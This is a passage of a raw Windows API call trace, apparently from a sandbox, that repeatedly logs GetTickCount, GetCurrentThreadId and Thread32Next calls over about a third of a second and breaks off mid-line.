[0117.129] GetTickCount () returned 0x115005f [0117.129] GetCurrentThreadId () returned 0x9fc [0117.129] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.130] GetTickCount () returned 0x115005f [0117.130] GetCurrentThreadId () returned 0x9fc [0117.130] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.131] GetTickCount () returned 0x115005f [0117.131] GetCurrentThreadId () returned 0x9fc [0117.131] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.132] GetTickCount () returned 0x115005f [0117.132] GetCurrentThreadId () returned 0x9fc [0117.132] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.133] GetTickCount () returned 0x115005f [0117.133] GetCurrentThreadId () returned 0x9fc [0117.133] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.134] GetTickCount () returned 0x115005f [0117.134] GetCurrentThreadId () returned 0x9fc [0117.134] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.135] GetTickCount () returned 0x115005f [0117.135] GetCurrentThreadId () returned 0x9fc [0117.135] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.136] GetTickCount () returned 0x115005f [0117.136] GetCurrentThreadId () returned 0x9fc [0117.136] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.137] GetTickCount () returned 0x115005f [0117.137] GetCurrentThreadId () returned 0x9fc [0117.137] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.138] GetTickCount () returned 0x115005f [0117.138] GetCurrentThreadId () returned 0x9fc [0117.138] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.211] GetTickCount () returned 0x11500ad [0117.211] GetCurrentThreadId () returned 0x9fc [0117.211] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.212] GetTickCount () returned 0x11500ad [0117.212] GetCurrentThreadId () returned 0x9fc [0117.212] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.213] GetTickCount () returned 0x11500ad [0117.213] GetCurrentThreadId () returned 0x9fc [0117.213] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.214] GetTickCount () returned 0x11500ad [0117.214] GetCurrentThreadId () returned 0x9fc [0117.214] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.215] GetTickCount () returned 0x11500ad [0117.215] GetCurrentThreadId () returned 0x9fc [0117.215] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.216] GetTickCount () returned 0x11500bc [0117.216] GetCurrentThreadId () returned 0x9fc [0117.216] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.217] GetTickCount () returned 0x11500bc [0117.217] GetCurrentThreadId () returned 0x9fc [0117.217] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.218] GetTickCount () returned 0x11500bc [0117.218] GetCurrentThreadId () returned 0x9fc [0117.218] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.219] GetTickCount () returned 0x11500bc [0117.219] GetCurrentThreadId () returned 0x9fc [0117.219] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.220] GetTickCount () returned 0x11500bc [0117.220] GetCurrentThreadId () returned 0x9fc [0117.220] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.221] GetTickCount () returned 0x11500bc [0117.221] GetCurrentThreadId () returned 0x9fc [0117.221] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.222] GetTickCount () returned 0x11500bc [0117.222] GetCurrentThreadId () returned 0x9fc [0117.222] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.223] GetTickCount () returned 0x11500bc [0117.223] GetCurrentThreadId () returned 0x9fc [0117.223] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.224] GetTickCount () returned 0x11500bc [0117.224] GetCurrentThreadId () returned 0x9fc [0117.224] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.225] GetTickCount () returned 0x11500bc [0117.225] GetCurrentThreadId () returned 0x9fc [0117.225] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.226] GetTickCount () returned 0x11500bc [0117.226] GetCurrentThreadId () returned 0x9fc [0117.226] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.227] GetTickCount () returned 0x11500bc [0117.227] GetCurrentThreadId () returned 0x9fc [0117.227] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.228] GetTickCount () returned 0x11500bc [0117.228] GetCurrentThreadId () returned 0x9fc [0117.229] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.229] GetTickCount () returned 0x11500bc [0117.229] GetCurrentThreadId () returned 0x9fc [0117.230] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.230] GetTickCount () returned 0x11500bc [0117.230] GetCurrentThreadId () returned 0x9fc [0117.230] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.231] GetTickCount () returned 0x11500bc [0117.231] GetCurrentThreadId () returned 0x9fc [0117.231] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.232] GetTickCount () returned 0x11500bc [0117.232] GetCurrentThreadId () returned 0x9fc [0117.233] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.233] GetTickCount () returned 0x11500cc [0117.233] GetCurrentThreadId () returned 0x9fc [0117.234] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.234] GetTickCount () returned 0x11500cc [0117.234] GetCurrentThreadId () returned 0x9fc [0117.235] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.235] GetTickCount () returned 0x11500cc [0117.235] GetCurrentThreadId () returned 0x9fc [0117.236] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.236] GetTickCount () returned 0x11500cc [0117.236] GetCurrentThreadId () returned 0x9fc [0117.237] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.238] GetTickCount () returned 0x11500cc [0117.238] GetCurrentThreadId () returned 0x9fc [0117.238] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.239] GetTickCount () returned 0x11500cc [0117.239] GetCurrentThreadId () returned 0x9fc [0117.239] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.240] GetTickCount () returned 0x11500cc [0117.240] GetCurrentThreadId () returned 0x9fc [0117.240] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.241] GetTickCount () returned 0x11500cc [0117.241] GetCurrentThreadId () returned 0x9fc [0117.241] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.242] GetTickCount () returned 0x11500cc [0117.242] GetCurrentThreadId () returned 0x9fc [0117.242] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.243] GetTickCount () returned 0x11500cc [0117.243] GetCurrentThreadId () returned 0x9fc [0117.243] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.244] GetTickCount () returned 0x11500cc [0117.244] GetCurrentThreadId () returned 0x9fc [0117.244] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.245] GetTickCount () returned 0x11500cc [0117.245] GetCurrentThreadId () returned 0x9fc [0117.245] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.246] GetTickCount () returned 0x11500cc [0117.246] GetCurrentThreadId () returned 0x9fc [0117.246] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.254] GetTickCount () returned 0x11500dc [0117.254] GetCurrentThreadId () returned 0x9fc [0117.255] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.256] GetTickCount () returned 0x11500dc [0117.256] GetCurrentThreadId () returned 0x9fc [0117.256] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.257] GetTickCount () returned 0x11500dc [0117.257] GetCurrentThreadId () returned 0x9fc [0117.257] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.258] GetTickCount () returned 0x11500dc [0117.258] GetCurrentThreadId () returned 0x9fc [0117.258] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.259] GetTickCount () returned 0x11500dc [0117.259] GetCurrentThreadId () returned 0x9fc [0117.259] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.260] GetTickCount () returned 0x11500dc [0117.260] GetCurrentThreadId () returned 0x9fc [0117.260] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.261] GetTickCount () returned 0x11500dc [0117.261] GetCurrentThreadId () returned 0x9fc [0117.261] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.262] GetTickCount () returned 0x11500dc [0117.262] GetCurrentThreadId () returned 0x9fc [0117.262] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.263] GetTickCount () returned 0x11500eb [0117.263] GetCurrentThreadId () returned 0x9fc [0117.263] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.264] GetTickCount () returned 0x11500eb [0117.264] GetCurrentThreadId () returned 0x9fc [0117.264] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.265] GetTickCount () returned 0x11500eb [0117.265] GetCurrentThreadId () returned 0x9fc [0117.265] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.266] GetTickCount () returned 0x11500eb [0117.266] GetCurrentThreadId () returned 0x9fc [0117.266] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.267] GetTickCount () returned 0x11500eb [0117.267] GetCurrentThreadId () returned 0x9fc [0117.267] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.268] GetTickCount () returned 0x11500eb [0117.268] GetCurrentThreadId () returned 0x9fc [0117.268] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.269] GetTickCount () returned 0x11500eb [0117.269] GetCurrentThreadId () returned 0x9fc [0117.269] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.270] GetTickCount () returned 0x11500eb [0117.270] GetCurrentThreadId () returned 0x9fc [0117.270] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.271] GetTickCount () returned 0x11500eb [0117.271] GetCurrentThreadId () returned 0x9fc [0117.271] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.272] GetTickCount () returned 0x11500eb [0117.272] GetCurrentThreadId () returned 0x9fc [0117.272] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.273] GetTickCount () returned 0x11500eb [0117.273] GetCurrentThreadId () returned 0x9fc [0117.273] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.274] GetTickCount () returned 0x11500eb [0117.274] GetCurrentThreadId () returned 0x9fc [0117.274] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.275] GetTickCount () returned 0x11500eb [0117.275] GetCurrentThreadId () returned 0x9fc [0117.275] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.276] GetTickCount () returned 0x11500eb [0117.276] GetCurrentThreadId () returned 0x9fc [0117.276] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.277] GetTickCount () returned 0x11500eb [0117.277] GetCurrentThreadId () returned 0x9fc [0117.277] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.278] GetTickCount () returned 0x11500eb [0117.278] GetCurrentThreadId () returned 0x9fc [0117.278] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.279] GetTickCount () returned 0x11500fb [0117.279] GetCurrentThreadId () returned 0x9fc [0117.279] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.280] GetTickCount () returned 0x11500fb [0117.280] GetCurrentThreadId () returned 0x9fc [0117.280] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.281] GetTickCount () returned 0x11500fb [0117.281] GetCurrentThreadId () returned 0x9fc [0117.281] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.282] GetTickCount () returned 0x11500fb [0117.282] GetCurrentThreadId () returned 0x9fc [0117.282] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.283] GetTickCount () returned 0x11500fb [0117.283] GetCurrentThreadId () returned 0x9fc [0117.283] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.284] GetTickCount () returned 0x11500fb [0117.284] GetCurrentThreadId () returned 0x9fc [0117.284] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.285] GetTickCount () returned 0x11500fb [0117.285] GetCurrentThreadId () returned 0x9fc [0117.285] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.286] GetTickCount () returned 0x11500fb [0117.286] GetCurrentThreadId () returned 0x9fc [0117.286] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.287] GetTickCount () returned 0x11500fb [0117.287] GetCurrentThreadId () returned 0x9fc [0117.287] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.288] GetTickCount () returned 0x11500fb [0117.288] GetCurrentThreadId () returned 0x9fc [0117.288] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.289] GetTickCount () returned 0x11500fb [0117.289] GetCurrentThreadId () returned 0x9fc [0117.289] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.290] GetTickCount () returned 0x11500fb [0117.290] GetCurrentThreadId () returned 0x9fc [0117.290] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.292] GetTickCount () returned 0x11500fb [0117.292] GetCurrentThreadId () returned 0x9fc [0117.292] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.293] GetTickCount () returned 0x11500fb [0117.293] GetCurrentThreadId () returned 0x9fc [0117.293] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.294] GetTickCount () returned 0x11500fb [0117.294] GetCurrentThreadId () returned 0x9fc [0117.294] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.295] GetTickCount () returned 0x115010a [0117.295] GetCurrentThreadId () returned 0x9fc [0117.295] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.296] GetTickCount () returned 0x115010a [0117.296] GetCurrentThreadId () returned 0x9fc [0117.296] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.297] GetTickCount () returned 0x115010a [0117.297] GetCurrentThreadId () returned 0x9fc [0117.297] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.298] GetTickCount () returned 0x115010a [0117.298] GetCurrentThreadId () returned 0x9fc [0117.298] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.299] GetTickCount () returned 0x115010a [0117.299] GetCurrentThreadId () returned 0x9fc [0117.299] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.300] GetTickCount () returned 0x115010a [0117.300] GetCurrentThreadId () returned 0x9fc [0117.300] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.301] GetTickCount () returned 0x115010a [0117.302] GetCurrentThreadId () returned 0x9fc [0117.302] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.302] GetTickCount () returned 0x115010a [0117.303] GetCurrentThreadId () returned 0x9fc [0117.303] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.303] GetTickCount () returned 0x115010a [0117.303] GetCurrentThreadId () returned 0x9fc [0117.304] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.304] GetTickCount () returned 0x115010a [0117.304] GetCurrentThreadId () returned 0x9fc [0117.305] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.305] GetTickCount () returned 0x115010a [0117.305] GetCurrentThreadId () returned 0x9fc [0117.306] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.306] GetTickCount () returned 0x115010a [0117.306] GetCurrentThreadId () returned 0x9fc [0117.307] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.307] GetTickCount () returned 0x115010a [0117.307] GetCurrentThreadId () returned 0x9fc [0117.307] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.308] GetTickCount () returned 0x115010a [0117.308] GetCurrentThreadId () returned 0x9fc [0117.308] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.310] GetTickCount () returned 0x115011a [0117.310] GetCurrentThreadId () returned 0x9fc [0117.310] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.311] GetTickCount () returned 0x115011a [0117.311] GetCurrentThreadId () returned 0x9fc [0117.311] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.312] GetTickCount () returned 0x115011a [0117.312] GetCurrentThreadId () returned 0x9fc [0117.312] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.313] GetTickCount () returned 0x115011a [0117.313] GetCurrentThreadId () returned 0x9fc [0117.313] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.314] GetTickCount () returned 0x115011a [0117.314] GetCurrentThreadId () returned 0x9fc [0117.314] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.315] GetTickCount () returned 0x115011a [0117.315] GetCurrentThreadId () returned 0x9fc [0117.315] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.316] GetTickCount () returned 0x115011a [0117.316] GetCurrentThreadId () returned 0x9fc [0117.316] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.317] GetTickCount () returned 0x115011a [0117.317] GetCurrentThreadId () returned 0x9fc [0117.317] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.318] GetTickCount () returned 0x115011a [0117.318] GetCurrentThreadId () returned 0x9fc [0117.318] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.319] GetTickCount () returned 0x115011a [0117.319] GetCurrentThreadId () returned 0x9fc [0117.319] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.320] GetTickCount () returned 0x115011a [0117.320] GetCurrentThreadId () returned 0x9fc [0117.320] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.321] GetTickCount () returned 0x115011a [0117.321] GetCurrentThreadId () returned 0x9fc [0117.321] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.322] GetTickCount () returned 0x115011a [0117.322] GetCurrentThreadId () returned 0x9fc [0117.322] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.323] GetTickCount () returned 0x115011a [0117.323] GetCurrentThreadId () returned 0x9fc [0117.323] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.324] GetTickCount () returned 0x115011a [0117.324] GetCurrentThreadId () returned 0x9fc [0117.324] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.325] GetTickCount () returned 0x115011a [0117.325] GetCurrentThreadId () returned 0x9fc [0117.325] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.357] GetTickCount () returned 0x1150149 [0117.357] GetCurrentThreadId () returned 0x9fc [0117.357] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.358] GetTickCount () returned 0x1150149 [0117.358] GetCurrentThreadId () returned 0x9fc [0117.358] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.359] GetTickCount () returned 0x1150149 [0117.359] GetCurrentThreadId () returned 0x9fc [0117.359] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.360] GetTickCount () returned 0x1150149 [0117.360] GetCurrentThreadId () returned 0x9fc [0117.361] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.361] GetTickCount () returned 0x1150149 [0117.361] GetCurrentThreadId () returned 0x9fc [0117.362] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.362] GetTickCount () returned 0x1150149 [0117.362] GetCurrentThreadId () returned 0x9fc [0117.363] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.363] GetTickCount () returned 0x1150149 [0117.363] GetCurrentThreadId () returned 0x9fc [0117.364] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.364] GetTickCount () returned 0x1150149 [0117.364] GetCurrentThreadId () returned 0x9fc [0117.365] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.365] GetTickCount () returned 0x1150149 [0117.365] GetCurrentThreadId () returned 0x9fc [0117.365] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.366] GetTickCount () returned 0x1150149 [0117.366] GetCurrentThreadId () returned 0x9fc [0117.366] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.367] GetTickCount () returned 0x1150149 [0117.367] GetCurrentThreadId () returned 0x9fc [0117.367] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.368] GetTickCount () returned 0x1150149 [0117.368] GetCurrentThreadId () returned 0x9fc [0117.368] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.369] GetTickCount () returned 0x1150149 [0117.370] GetCurrentThreadId () returned 0x9fc [0117.370] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.370] GetTickCount () returned 0x1150149 [0117.370] GetCurrentThreadId () returned 0x9fc [0117.371] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.371] GetTickCount () returned 0x1150149 [0117.371] GetCurrentThreadId () returned 0x9fc [0117.372] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.373] GetTickCount () returned 0x1150158 [0117.373] GetCurrentThreadId () returned 0x9fc [0117.373] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.374] GetTickCount () returned 0x1150158 [0117.374] GetCurrentThreadId () returned 0x9fc [0117.374] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.375] GetTickCount () returned 0x1150158 [0117.375] GetCurrentThreadId () returned 0x9fc [0117.375] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.376] GetTickCount () returned 0x1150158 [0117.376] GetCurrentThreadId () returned 0x9fc [0117.376] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.377] GetTickCount () returned 0x1150158 [0117.377] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.378] GetTickCount () returned 0x1150158 [0117.378] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.379] GetTickCount () returned 0x1150158 [0117.379] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.380] GetTickCount () returned 0x1150158 [0117.380] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.381] GetTickCount () returned 0x1150158 [0117.381] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.381] GetTickCount () returned 0x1150158 [0117.382] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.382] GetTickCount () returned 0x1150158 [0117.382] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.383] GetTickCount () returned 0x1150158 [0117.383] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.384] GetTickCount () returned 0x1150158 [0117.384] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.385] GetTickCount () returned 0x1150158 [0117.385] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.386] GetTickCount () returned 0x1150158 [0117.386] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.387] GetTickCount () returned 0x1150158 [0117.387] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.388] GetTickCount () returned 0x1150168 [0117.388] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.389] GetTickCount () returned 0x1150168 [0117.389] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.390] GetTickCount () returned 0x1150168 [0117.390] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.391] GetTickCount () returned 0x1150168 [0117.391] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.392] GetTickCount () returned 0x1150168 [0117.392] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.393] GetTickCount () returned 0x1150168 [0117.393] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.394] GetTickCount () returned 0x1150168 [0117.394] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.394] GetTickCount () returned 0x1150168 [0117.395] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.402] GetTickCount () returned 0x1150168 [0117.403] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.404] GetTickCount () returned 0x1150178 [0117.404] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.405] GetTickCount () returned 0x1150178 [0117.405] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.406] GetTickCount () returned 0x1150178 [0117.406] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.406] GetTickCount () returned 0x1150178 [0117.406] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.407] GetTickCount () returned 0x1150178 [0117.407] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.408] GetTickCount () returned 0x1150178 [0117.408] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.409] GetTickCount () returned 0x1150178 [0117.409] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.410] GetTickCount () returned 0x1150178 [0117.410] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.411] GetTickCount () returned 0x1150178 [0117.411] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.412] GetTickCount () returned 0x1150178 [0117.412] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.413] GetTickCount () returned 0x1150178 [0117.413] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.414] GetTickCount () returned 0x1150178 [0117.414] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.415] GetTickCount () returned 0x1150178 [0117.415] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.415] GetTickCount () returned 0x1150178 [0117.416] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.416] GetTickCount () returned 0x1150178 [0117.416] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.417] GetTickCount () returned 0x1150178 [0117.417] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.418] GetTickCount () returned 0x1150178 [0117.418] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.419] GetTickCount () returned 0x1150187 [0117.419] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.420] GetTickCount () returned 0x1150187 [0117.420] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.421] GetTickCount () returned 0x1150187 [0117.421] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.422] GetTickCount () returned 0x1150187 [0117.422] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.423] GetTickCount () returned 0x1150187 [0117.423] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.424] GetTickCount () returned 0x1150187 [0117.424] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.425] GetTickCount () returned 0x1150187 [0117.425] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.426] GetTickCount () returned 0x1150187 [0117.426] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.426] GetTickCount () returned 0x1150187 [0117.426] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.427] GetTickCount () returned 0x1150187 [0117.427] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.428] GetTickCount () returned 0x1150187 [0117.428] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.429] GetTickCount () returned 0x1150187 [0117.429] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.430] GetTickCount () returned 0x1150187 [0117.430] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.431] GetTickCount () returned 0x1150187 [0117.431] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.432] GetTickCount () returned 0x1150187 [0117.432] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.433] GetTickCount () returned 0x1150187 [0117.433] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.434] GetTickCount () returned 0x1150187 [0117.434] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.450] GetTickCount () returned 0x1150197 [0117.450] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) 